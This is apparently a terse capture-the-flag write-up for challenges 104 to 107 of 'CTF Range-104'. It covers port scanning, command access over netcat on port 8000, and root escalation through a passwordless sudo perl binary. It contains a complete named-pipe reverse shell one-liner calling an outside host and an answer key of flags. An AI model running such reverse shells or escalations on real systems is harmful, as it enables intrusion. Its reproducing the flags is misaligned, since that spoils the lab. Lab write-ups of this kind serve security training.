# CTF Range-104
## Challenge 104
## Challenge 105
## Challenge 106
## Challenge 107

* Rustscan
* 
* Nmap
* 

* 開了8000port但是網頁無法連線, 可以用nc連然後下指令
* 

* Reverse shell 回來
* 
* 

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|bash -i 2>&1|nc 172.27.236.2 4444 >/tmp/f

* `/home/suiduser/userperl` has sudo permission without password, and userperl just the perl, so follow the GTFObins got shell as root
* 

## Answer
* Challenge 104:`suiduser`
* Challenge 105:`hf4km956g`
* Challenge 106:`userperl`
* Challenge 107:`p76dwmz8c9`